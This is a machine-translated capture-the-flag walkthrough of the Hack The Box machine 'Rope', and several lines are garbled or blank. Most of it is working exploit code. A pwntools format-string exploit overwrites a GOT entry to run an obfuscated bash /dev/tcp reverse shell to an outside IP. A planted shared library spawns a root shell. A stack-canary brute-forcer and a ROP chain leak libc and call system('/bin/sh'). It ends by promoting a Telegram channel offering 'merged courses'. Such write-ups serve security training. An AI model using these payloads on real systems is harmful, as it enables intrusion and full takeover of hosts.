Hack The Box. Walkthrough Rope. PWN. Format strings and ROP using pwntools

image

I continue to publish solutions sent for further processing from the HackTheBox site .

In this article, we collect many many pwn, which we will solve using pwntools. I think it will be useful to readers with any level of awareness in this topic. Let's go ...

Connection to the laboratory is via VPN. It is recommended not to connect from a work computer or from a host where the data important to you is available, since you get into a private network with people who know something in the field of information security :)

Organizational Information
, , Telegram . , , .

. , - , .

Recon


This machine has an IP address of 10.10.10.148, which I add to / etc / hosts.

10.10.10.148    rope.htb

First, we scan open ports. Since it takes a long time to scan all the ports with nmap, I will first do this with masscan. We scan all TCP and UDP ports from the tun0 interface at a speed of 500 packets per second.

masscan -e tun0 -p1-65535,U:1-65535 10.10.10.148 --rate=500

image

Now, for more detailed information about the services that operate on ports, we will run a scan with the -A option.

nmap -A rope.htb -p22,9999

image

The host runs SSH and a web server. We’ll go on the web and we will be met by an authorization form.

image

When viewing a directory scan, we get an un indexed directory / (http: //rope.htb: 9999 //).

image

And in the directory / opt / www we find the executable file - this is our web server.

image

HTTPserver PWN


Download it and see what protection is with checksec.

image

Thus, we have a 32-bit application with all activated protections, namely:

  • NX (not execute) — , , , ( ) , , , . .
  • ASLR: (libc), libc. ret2libc.
  • PIE: , ASLR, , . .
  • Canary: , , . , . .

Due to the fact that we can read files on the server, we can read the process map of this executable file. This will give us the answer to the following questions:

  1. What address is the program downloaded to?
  2. And at what address are the libraries used by her loaded?

Let's do that.

curl "http://rope.htb:9999//proc/self/maps" -H 'Range: bytes=0-100000'

image

Thus, we have two addresses: 0x56558000 and f7ddc000. At the same time, we get the path to the libc library used, download it too. Now, taking into account everything found, we will make an exploit template.

from pwn import *
import urllib
import base64

host = 'rope.htb'
port = 9999

context.arch = 'i386'
binary= ELF('./httpserver')
libc = ELF('./libc-2.27.so')
bin_base = 0x56558000 
libc_base = 0xf7ddc000

Now open the file itself for analysis in a disassembler convenient for you (with a decompiler). I use IDA with a bunch of plugins, and before I sit down for an in-depth analysis, I prefer to look at everything that I can collect proven plugins. One of many such is LazyIDA . And for the query “scan format string vuln” we get a plate with potentially vulnerable functions.

image

From the experience of using this plugin, I immediately drew attention to the second line (its format parameter). We pass to the place of use of this function and decompile it.

image

And guesses are confirmed, the line is simply passed to the printf function. Let's find out what this string is. Let's go to the place of the call to the log_access function.

image

So we are interested in the third parameter, which was marking the IDA as file. And we get answers to all questions only by looking at cross-references to this variable.

image

Thus, this is a pointer to a string - the name of the file that is opened for reading. Since this variable is the result of executing the parse_request () function, the file is opened for reading, and the entire program is a web server, we can assume that this is the page requested on the server.

curl http://127.0.0.1:9999/qwerty

image

Let's check the format string vulnerability.

curl http://127.0.0.1:9999/$(python -c 'print("AAAA"+"%25p"*100)')

image

Fine! Let's define the offset (how many% p specifiers need to be sent to get 0x41414141 - AAAA at the end of the output).

image

We get 53. Check that everything is correct.

curl http://127.0.0.1:9999/$(python -c 'print("AAAA"+"%25p"*53)')

image

We cannot get a local shell, but we can execute a command, for example, throw a reverse shell:

bash -i >& /dev/tcp/10.10.15.60/4321 0>&1

But in order to avoid any uncomfortable characters, we encode it in base64, then the shell call will look like this:

echo “YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNS42MC80MzIxIDA+JjEK” | base64 -d | bash -i

And in the end, replace all the spaces with the $ IFS construct. We get the command that you need to execute to get the back connect.

echo$IFS"YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNS42MC80MzIxIDA+JjEK"|base64$IFS-d|bash$IFS-i

Let's add this to the code:

offset = 53
cmd = 'bash -i >& /dev/tcp/10.10.15.60/4321 0>&1'
shell = 'echo$IFS"{}"|base64$IFS-d|bash$IFS-i'.format(base64.b64encode(cmd))

Now back to our format string. Since putsf is called after printf (), we can rewrite its address in GOT to the address of the system function from libc. Thanks to pwntools, this is very easy to do. Suppose you can get the relative address of the puts function using binary.got ['puts'], also easily with the system: libc.symbols ['system'] function. About format lines and GOT I described in detail in articles about pwn, so here we simply collect the format line using pwntools:

writes = {(elf_base + binary.got['puts']): (libc_base + libc.symbols['system'])}
format_string = fmtstr_payload(offset, writes)

We collect the final payload:

payload = shell + " /" + urllib.quote(format_string) + "\n\n"

We connect and send:

p = remote(host,port)
p.send(payload)
p.close()

The full code looks like this.

image

Let's execute the code and get backconnect.

image

image

USER


Let's check the sudo settings for executing commands without a password.

image

And we see that you can execute readlogs on behalf of the user r4j. There are no vulnerabilities in the application, GTFOBins are also absent. Let's see the libraries used by the application.

image

ls -l /lib/x86_64-linux-gnu/ | grep "liblog.so\|libc.so.6"

image

That is, we can write to these files. Let's write our library.

#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
#include <stdlib.h>

void printlog(){
    setuid(0);
    setgid(0);
    system("/bin/sh");
}

Now compile it.

gcc -c -Wall -Werror -fpic liblog.c

And collect the library.

Gcc -shared -o liblog.so liblog.o

Then we upload the file to the host, overwrite the library and execute the program.

image

So we take the user.

ROOT


To list the system we use linpeas.

image

So on the localhost, port 1337 is listening.

image

As you can see, our user is a member of the adm group. Let's take a look at the files available for this group.

image

There is an interesting file. And this is the program that listens on the port.

image

In this case, the application runs as root.

image

Download the application itself and the libc library it uses. And note that ASLR is active on the host.

image

Check what protection the application has.

image

All to the maximum. That is, if we find a buffer overflow, we will need to brute the canary (the value that is checked before exiting the function to check the integrity of the buffer), and as a technique for exploiting the vulnerability, we will use ROP (about which I wrote in some detailhere ). Let's open the program in any disassembler with a decompiler that is convenient for you (I use IDA Pro). We decompile the main function main.

image

An example of a canary is the variable v10, which is set at the beginning of a function. Let's see what the sub_1267 function is responsible for.

image

So here we open the port for listening. You can rename it to is_listen (); we go further. The following user-defined function is sub_14EE.

image

Before sending, there is another user function. We look at her.

image

Thus, in this function, a string of up to 0x400 bytes is received and written to the buffer. The comment on the buf variable indicates the address relative to the base of the current stack frame (rbp) - [rbp-40h], and the variable v3 (canary) has a relative address [rbp-8h], so for buffer overflow we need more [rbp- 8h] - [rbp-40h] = 0x40-8 = 56 bytes.

Thus, the plan is as follows:

  1. find and overflow the buffer;
  2. put down the canary, rbp and rip;
  3. since PIE is activated, you need to find the actual offset;
  4. find a memory leak to calculate the address at which the library is loaded;
  5. Collect ROP, in which the stream of standard descriptors will be redirected to the network descriptor of the program, and then call / bin / sh through the system function.

1. buffer overflow


As can be seen below, when transmitting 56 bytes, the program continues to work normally, but transmitting 57 bytes, we get an exception. Thus, the integrity of the buffer is violated.

image

Let's make an exploit template. Since it will be necessary to sort through and reconnect a lot, we will disable the output of pwntools (log_level) messages.

#!/usr/bin/python3
from pwn import *

HOST = '127.0.0.1'
PORT = 1337
context(os = "linux", arch = "amd64", log_level='error')

pre_payload = "A" * 56

r = remote(HOST, PORT)

context.log_level='info'
r.interactive()

2.Canary, RBP, RIP


As we figured out, after 56 bytes of the buffer there is a canary, and after it there are RBP and RIP addresses on the stack, which also need to be sorted out. Let's write an 8 byte matching function.

def qword_brute(pre_payload, item):
    qword_ = b""
    while len(qword_) < 8:
        for b in range(256):
            byte = bytes([b])
            try:
                r = remote(HOST, PORT)
                print(f"{item} find: {(qword_ + byte).hex()}", end=u"\u001b[1000D")
                send_ = pre_payload + qword_ + byte
                r.sendafter(b"admin:", send_)
                if b"Done" not in r.recvall(timeout=5):
                    raise EOFError
                r.close()
                qword_ += byte
                break
            except EOFError as error:
                r.close()
    context.log_level='info'            
    log.success(f"{item} found: {hex(u64(qword_))}")
    context.log_level='error' 
    return qword_

So we can compose pre_payload:

pre_payload = b"A" * 56
CANARY = qword_brute(pre_payload, "CANARY")
pre_payload += CANARY
RBP = qword_brute(pre_payload, "RBP")
pre_payload += RBP
RIP = qword_brute(pre_payload, "RIP")

3.PIE


Now let's deal with PIE. We found RIP - this is the return address where we return from the function. Thus, we can subtract from it the return address in the code.

image

Thus, the offset from the base is 0x1562. Let's indicate the real address of the running application.

base_binary = u64(RIP) - 0x1562
binary = ELF('./contact')
binary.address = base_binary
libc = ELF('./libc.so.6')

4.Memory leak


The application uses the standard write () function to display the prompt string, which accepts a descriptor for output, a buffer, and its size. We can use this function.

For convenience, let's use the ROP module from pwntools. In brief, how and why this works is presented in the image below.

image

Let's get a leak, this will let us know what address the write function is in the loaded libc library.

rop_binary = ROP(binary)
rop_binary.write(0x4, binary.got['write'], 0x8)
send_leak = pre_payload + flat(rop_binary.build())

r = remote(HOST, PORT)
r.sendafter(b"admin:", send_leak)
leak = r.recvall().strip().ljust(8, b'\x00')
print(f"Leak: {hex(u64(leak))}")
base_libc = leak - libc.symbols['write']

5.ROP


Let's change the base address of the libc library and find the address of the line / bin / sh.

libc.address = base_libc
shell_address = next(libc.search(b"/bin/sh\x00"))

It remains to collect the ROP, in which the standard I / O descriptors (0,1,2) will be redirected to the descriptor registered in the program (4). After which the system function will be called, where we will pass the address of the line / bin / sh.

rop_libc = ROP(libc)
rop_libc.dup2(4, 0)
rop_libc.dup2(4, 1)
rop_libc.dup2(4, 2)
rop_libc.system(shell_address)

payload = pre_payload + flat(rop_libc.build())

r = remote(HOST, PORT)
r.sendafter(b"admin:", payload)
time.sleep(2)
r.sendline(b"id")

6. Operation
Full exploit code.

image

Now on the server, write the ssh key to the file /home/r4j/.ssh/authorizef_keys.

image

And forward the port (make sure that the connection from the local port 1337 is redirected via SSH to port 1337 of the remote host).

ssh -L 1337:127.0.0.1:1337 -i id_rsa r4j@rope.htb

And launch the exploit.

image

We work under the root.

You can join us on Telegram . There you can find interesting materials, merged courses, as well as software. Let's put together a community in which there will be people who are versed in many areas of IT, then we can always help each other on any IT and information security issues.

All Articles